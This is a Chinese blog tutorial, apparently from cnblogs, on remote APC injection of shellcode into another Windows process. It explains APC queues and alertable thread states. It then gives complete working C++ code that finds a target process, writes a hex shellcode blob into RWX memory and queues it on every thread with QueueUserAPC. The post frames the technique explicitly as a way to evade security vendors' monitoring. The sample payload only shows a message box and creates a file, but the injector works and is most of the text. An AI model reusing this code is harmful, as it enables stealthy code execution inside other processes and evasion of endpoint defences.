windows：shellcode 代码远程APC注入和加载

2021-01-03 18:27

阅读：648

标签：signal queue alt com word 重要 sse 机制实验

https://www.cnblogs.com/theseventhson/p/13197776.html 上一章介绍了通用的shellcode加载器，这个加载器自己调用virtualAlloc分配空间、复制shellcode、执行shellcode，所有操作都在加载器的空间，隐蔽性不强，容易被发现。如果能在其他进程空间把shellcode注入，然后执行了？可以达到金蝉脱壳的目的；那么该怎么做了？

熟悉win32编程的同学第一时间可能就想到了createRemoteThread+virtualAllocEx：在目标进程创建一个线程，把shellcode复制到目标进程后执行。这么做技术上可行，但这两个API实在是太出名了（createRemoteThread号称是windows的万恶之源，早期很多病毒、木马都利用了这个API），早就被各大厂商盯死，可能达不到预期；今天介绍另一种远程代码注入的方式：APC注入

1、先简单介绍一下APC

APC本质：线程在执行的时候如果自身不主动跳转去其他地方（放弃CPU控制权），就会一直占有CPU，那么怎么杀死线程了？所以有了APC机制：线程执行的时候定时检查是否有另外需要执行的代码，如果有就去执行；该代码（函数），就是APC。再直白一点：APC是个队列，里面存储了可执行的代码；线程在正常执行的时候如果满足某些特定的条件（比如alterable，这个很重要，后续会详细介绍），会去APC队列检查，一旦发现不为空，就会取出队列的代码执行，直到执行完毕为止；通过这种方式，可以让3环的死循环线程无法100%占用CPU资源，其他线程才能正常执行；
刚才说到alertable状态，这个怎么理解？其实就是线程暂时没有重要的事情要做，就叫做这个状态。APC函数一般不会去干扰（中断）线程的运行。一个线程附带着两个APC队列（用户APC、系统APC），也就相当于这两个队列的APC函数都是由“线程本身”来储备调用的（APC函数就相当于奥运会比赛上的预备选手），只有当线程处于“可警告的线程等待状态”才会去调用APC函数（比赛时只有主将无法上场时，预备选手才会出现）
用户模式下，可以调用函数SleepEx、SignalObjectAndWait、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx都可以使目标线程处于alertable等待状态（无重要事情要做），从而让用户模式APCs执行，这点也很重要，后面的实验会用到这一特性；

　　2、 APC代码注入核心步骤介绍

（1）APC和线程相关的，既然注入APC，势必要找到目标线程。线程又属于进程，那么就要先遍历进程，核心代码如下：先遍历进程，根据进程名（这里我自己单独写了一个简单的程序，没用explorer来测试，原因后面再解释）找到目标进程，然后打开进程、分配空间、写入shellcode；

HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector threadIds;
    SIZE_T shellSize = sizeof(buf);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }
    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    printf("shellAddress is: %p\n", shellAddress);

（2）接着遍历进程的线程，调用最核心的QueueUserAPC函数，将shellcode注入目标线程

if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
        Sleep(1000 * 2);
    }

　　（3）注入完成后就等待shellcode被调用了。这段代码是借（chao）鉴（xi）https://ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection 这里的，原作者刚开始用的explorer.exe，我也是这么做的，代码运行后，迟迟不见效果，于时打开process hacker，发现shellcode已经注入目标进程空间，如下：

技术图片

　　并且地址的属性是RWX，这里没任何问题，shellcode迟迟未被执行的原因只能是线程状态不是alterable了，这里没办法，只能继续等；process hacker提供了查看线程状态的功能，等了许久还是未等到有线程的状态变为alertable，一直看不到效果，无奈只能放弃这种方式；

技术图片

　　（4）既然等不到，就自己构造，很简单，如下：核心是调用sleepEX函数，让其休眠10分钟，第二个参数是TRUE，表明是alertable 的，这样一来只要APC队列有代码，main函数就会执行；

#include 
#include int main() 
{
    printf("enter alertable statues...............");
    SleepEx(1000*600,TRUE);
}

　　执行后查看发现只有这一个线程的，应该是main：

技术图片

　　这次终于成功执行了自己的shellcode：能看到messagebox的弹窗:

　　技术图片

目标程序所在的目录下也生成了1.txt文本；

　　技术图片

　　3、实验总结：

（1）上面shellcode都是手动复制到代码内，写死了不说，每次复制shellcode还比较麻烦，当时我想着写代码直接从磁盘读（最初的加载器不就是这么干的么？），如下：

HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Open  File Error!%d\n", GetLastError());
        return -1;
    }
    DWORD dwSize;
    dwSize = GetFileSize(hFile, NULL);

    LPVOID buf = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (buf == NULL)
    {
        printf("VirtualAlloc error:%d\n", GetLastError());
        CloseHandle(hFile);
        return -1;

    }
    DWORD dwRead;
    ReadFile(hFile, buf, dwSize, &dwRead, 0);
    printf("\n%s File read length:%d \n", argv[1], dwRead);
    printf("buf length=%d \n", sizeof(buf));//shellcode里面有00，导致buf被阶段，长度只有4；

　　查看目标进程内存时发现并未复制完全，罪魁祸首是中间遇到00，被截断，buf读取的长度只有4；

　　技术图片

　　各位读者有更好的解决办法还请不吝赐教。

　　（2）完整的代码：

#include 
#include 
#include 
#include int main()
{
    unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    std::vector threadIds;
    SIZE_T shellSize = sizeof(buf);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"Thread_Alertable.exe") != 0) {
            Process32Next(snapshot, &processEntry);
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    printf("shellAddress is: %p\n", shellAddress);

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                threadIds.push_back(threadEntry.th32ThreadID);
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (DWORD threadId : threadIds) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        printf("apcRoutine is: %p------>threadId:%d\n", apcRoutine, threadId);
        Sleep(1000 * 2);
    }

    return 0;
}